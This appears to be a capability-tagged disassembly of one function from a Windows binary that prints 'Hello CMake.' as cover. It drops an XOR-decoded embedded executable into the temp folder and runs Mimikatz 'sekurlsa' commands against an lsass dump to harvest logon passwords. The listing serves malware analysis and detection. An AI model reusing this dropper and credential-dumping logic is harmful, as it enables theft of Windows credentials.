Function at 0x140005d70
Capabilities:
Encode data using xor
Execute command
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3f8]
sub rsp, 0x4d0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140158e80]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x34], r15d
lea rdx, [rbp + 0x2a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
lea rax, [rbp + 0x2a0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140005df0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x120]
call fcn.1400012e0
nop
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x138]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
jb 0x140005e6a
lea rax, [rcx + 0x17]
mov qword [rbp + 0x130], rax
lea rbx, [rbp + 0x120]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x120]
add rbx, rcx
mov r8d, 0x17
lea rdx, str.embedded_executable.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x17], 0
lea rax, [rbp + 0x120]
jmp 0x140005e91
mov qword [rsp + 0x20], 0x17
lea r9, str.embedded_executable.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 0x17
lea rcx, [rbp + 0x120]
call fcn.140001950
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r14d, 0xc
mov dword [rsp + 0x34], r14d
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140005f1b
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
movdqa xmm0, xmmword [0x140009990]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x110]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001580
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Hello_CMake.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001080
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], 0xc
mov qword [rbp + 0x1b8], 0xf
movsd xmm0, qword [str.bHNhc3MuZG1w]
movsd qword [rbp + 0x1a0], xmm0
mov eax, dword [0x140009878]
mov dword [rbp + 0x1a8], eax
mov byte [rbp + 0x1ac], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x220]
call fcn.140004330
nop
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
mov r8, qword [rbp + 0x238]
cmp r8, 0xf
jbe 0x140006014
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0x220]
call fcn.1400038e0
movdqa xmm0, xmmword [0x140009990]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14000606f
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000606a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000606a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x60], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400060a2
lock inc dword [rax + 8]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov r14d, dword [rsp + 0x34]
movaps xmm6, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x60], xmm6
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], 0xc
mov qword [rbp + 0x1d8], 0xf
movsd xmm0, qword [str.bHNhc3MuZXhl]
movsd qword [rbp + 0x1c0], xmm0
mov eax, dword [0x140009888]
mov dword [rbp + 0x1c8], eax
mov byte [rbp + 0x1cc], 0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x240]
call fcn.140004330
nop
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140002380
nop
lea r8, [rbp - 0x60]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1400048f0
nop
mov r8, qword [rbp + 0x258]
cmp r8, 0xf
jbe 0x14000613e
mov rdx, qword [rbp + 0x240]
lea rcx, [rbp + 0x240]
call fcn.1400038e0
movdqa xmm0, xmmword [0x140009990]
movdqu xmmword [rbp + 0x250], xmm0
mov byte [rbp + 0x240], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140006199
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006194
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006194
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rdx, qword [rbp + 0x100]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x10]
lea rcx, [rbp - 0x30]
call fcn.140002500
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
mov qword [rsp + 0x70], r15
mov rbx, r15
mov qword [rsp + 0x78], rbx
mov rsi, r15
mov qword [rbp - 0x80], r15
lea rdi, section..data
lea r12, [0x140158e00]
movzx eax, byte [rdi]
mov byte [rsp + 0x30], al
cmp rbx, rsi
je 0x14000622b
mov byte [rbx], al
inc rbx
mov qword [rsp + 0x78], rbx
jmp 0x140006246
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.1400013f0
mov rsi, qword [rbp - 0x80]
mov rbx, qword [rsp + 0x78]
inc rdi
cmp rdi, r12
jne 0x140006213
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], 3
mov qword [rbp + 0x218], 0xf
mov eax, dword [0x140009890]
mov word [rbp + 0x200], ax
movzx eax, byte [0x140009892]
mov byte [rbp + 0x202], al
mov byte [rbp + 0x203], 0
mov r12, qword [rsp + 0x70]
sub rbx, r12
movdqu xmmword [rbp - 0x78], xmm0
mov r13, r15
mov qword [rbp - 0x68], r15
movabs rax, 0x7fffffffffffffff
je 0x14000631a
cmp rbx, rax
ja 0x140006b65
cmp rbx, 0x1000
jb 0x1400062ed
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140006b6b
call fcn.140006eac
test rax, rax
je 0x1400062e6
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400062f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140006eac
mov rdi, rax
mov qword [rbp - 0x78], rdi
lea r13, [rdi + rbx]
mov qword [rbp - 0x68], r13
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov r8, r13
mov qword [rbp - 0x70], r13
jmp 0x140006322
mov r8, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x78]
bts r14d, 8
mov r9, r15
test rbx, rbx
je 0x14000636d
mov r10, r12
sub r10, rdi
movabs r11, 0xaaaaaaaaaaaaaaab
nop
mov rax, r11
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
mov rcx, r9
sub rcx, rax
lea rdx, [r9 + rdi]
movzx eax, byte [r10 + rdx]
xor al, byte [rbp + rcx + 0x200]
mov byte [rdx], al
inc r9
cmp r9, rbx
jb 0x140006340
sub r8, rdi
mov rdx, rdi
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp - 0x28]
call fcn.140004840
test rax, rax
jne 0x1400063b1
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
movq r15, xmm6
mov rbx, qword [r15 + 0x10]
mov qword [rsp + 0x38], rbx
cmp qword [r15 + 0x18], 0xf
jbe 0x1400063d5
mov r15, qword [r15]
call fcn.140006cd8
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xor ecx, ecx
mov qword [rbp + 0x170], rcx
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], cx
bts r14d, 0xb
mov dword [rsp + 0x34], r14d
test rbx, rbx
je 0x14000648f
cmp rbx, 0x7fffffff
ja 0x140006b71
mov dword [rsp + 0x20], ecx
xor r9d, r9d
mov r8d, ebx
mov rdx, r15
mov ecx, eax
call fcn.140006d00
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140006b7c
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0x160]
call fcn.1400054a0
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 7
cmova r9, qword [rbp + 0x160]
mov dword [rsp + 0x20], ebx
mov r8d, dword [rsp + 0x38]
mov rdx, r15
mov ecx, dword [rsp + 0x40]
call fcn.140006d00
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140006b88
btr r14d, 0xb
or r14d, 0x600
lea rcx, [rbp + 0x280]
call fcn.140004d00
nop
lea r8, [rbp + 0x160]
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140003420
nop
lea rcx, [rbp + 0x280]
call fcn.140003f40
nop
lea rcx, [rbp + 0x160]
call fcn.140003f40
lea rax, [rbp + 0x260]
cmp qword [rbp + 0x278], 7
cmova rax, qword [rbp + 0x260]
mov qword [rsp + 0x38], rax
mov rbx, qword [rbp + 0x270]
mov qword [rsp + 0x48], rbx
call fcn.140006cd8
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
or r14d, 0x10
mov dword [rsp + 0x34], r14d
test rbx, rbx
je 0x140006652
cmp rbx, 0x7fffffff
ja 0x140006b92
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, ebx
mov rdx, qword [rsp + 0x38]
mov ecx, eax
call fcn.140006d48
mov r14, rax
shr rax, 0x20
test eax, eax
jne 0x140006b9d
movsxd rcx, r14d
mov rdx, qword [rbp + 0xf0]
cmp rcx, rdx
ja 0x1400065ab
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0xf0], rcx
mov byte [rax + rcx], 0
jmp 0x140006616
mov r15, rcx
sub r15, rdx
mov r8, qword [rbp + 0xf8]
mov rax, r8
sub rax, rdx
cmp r15, rax
ja 0x1400065f9
mov qword [rbp + 0xf0], rcx
lea rbx, [rbp + 0xe0]
cmp r8, 0xf
cmova rbx, qword [rbp + 0xe0]
add rbx, rdx
mov r8, r15
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rbx + r15], 0
mov rbx, qword [rsp + 0x48]
jmp 0x140006616
mov byte [rsp + 0x20], 0
mov r9, r15
movzx r8d, byte [rsp + 0x30]
mov rdx, r15
lea rcx, [rbp + 0xe0]
call fcn.140001ae0
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova r9, qword [rbp + 0xe0]
mov dword [rsp + 0x20], r14d
mov r8d, ebx
mov rdx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x40]
call fcn.140006d48
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140006baa
mov r15, qword [rbp + 0x110]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x28
jb 0x140006b59
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x38], r9
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
lea rdx, [r15 + 0x28]
mov ebx, 0xf
lea r14, [rbp + 0x1e0]
cmp rdx, rbx
jbe 0x14000674c
mov rbx, rdx
or rbx, 0xf
cmp rbx, rcx
jbe 0x140006702
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006eac
test rax, rax
je 0x140006982
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
lea rdx, [r15 + 0x28]
mov r9, qword [rsp + 0x38]
jmp 0x140006745
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000672a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006b5f
jmp 0x1400066da
test rcx, rcx
je 0x140006742
call fcn.140006eac
mov r14, rax
lea rdx, [r15 + 0x28]
mov r9, qword [rsp + 0x38]
jmp 0x140006745
xor r14d, r14d
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1f0], rdx
mov qword [rbp + 0x1f8], rbx
mov r8, r15
mov rdx, r9
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.__privilege::debug___sekurlsa::minidump]
movups xmmword [r14 + r15], xmm0
movups xmm1, xmmword [0x1400098d0]
movups xmmword [r14 + r15 + 0x10], xmm1
movsd xmm0, qword [0x1400098e0]
movsd qword [r14 + r15 + 0x20], xmm0
mov byte [r14 + r15 + 0x28], 0
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0x1e0]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x140]
call fcn.140002860
nop
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x158]
mov rax, rdx
sub rax, rcx
cmp rax, 0x23
jb 0x140006813
lea rax, [rcx + 0x23]
mov qword [rbp + 0x150], rax
lea rbx, [rbp + 0x140]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x140]
add rbx, rcx
mov r8d, 0x23
lea rdx, str.___sekurlsa::logonpasswords___exit_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x23], 0
lea rax, [rbp + 0x140]
jmp 0x14000683a
mov qword [rsp + 0x20], 0x23
lea r9, str.___sekurlsa::logonpasswords___exit_
movzx r8d, byte [rsp + 0x30]
mov edx, 0x23
lea rcx, [rbp + 0x140]
call fcn.140001950
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x1400068d8
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
movdqa xmm0, xmmword [0x140009990]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140006933
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000692e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000692e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
movdqa xmm0, xmmword [0x140009990]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x14000698f
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006989
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006989
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x1400069d4
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
nop
lea rcx, [rbp + 0x260]
call fcn.140003f40
nop
test rdi, rdi
je 0x140006a1d
sub r13, rdi
mov rax, rdi
cmp r13, 0x1000
jb 0x140006a11
add r13, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, rdi
call fcn.140006ee8
nop
test r12, r12
je 0x140006a5a
sub rsi, r12
mov rax, r12
cmp rsi, 0x1000
jb 0x140006a4e
add rsi, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, r12
call fcn.140006ee8
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call fcn.140003100
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140006ade
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140006ade
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x140006ade
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140006b22
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ee8
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1400074e0
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003fd0
nop
call fcn.140003e30
nop
call fcn.140003ff0
int3
call fcn.140003e30
nop
mov ecx, 0x16
call fcn.140003ec0
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140003f00
int3
shr rcx, 0x20
call fcn.140003f00
nop
mov ecx, 0x16
call fcn.140003ec0
int3
shr r14, 0x20
mov ecx, r14d
call fcn.140003f00
int3
shr rcx, 0x20
call fcn.140003f00
int3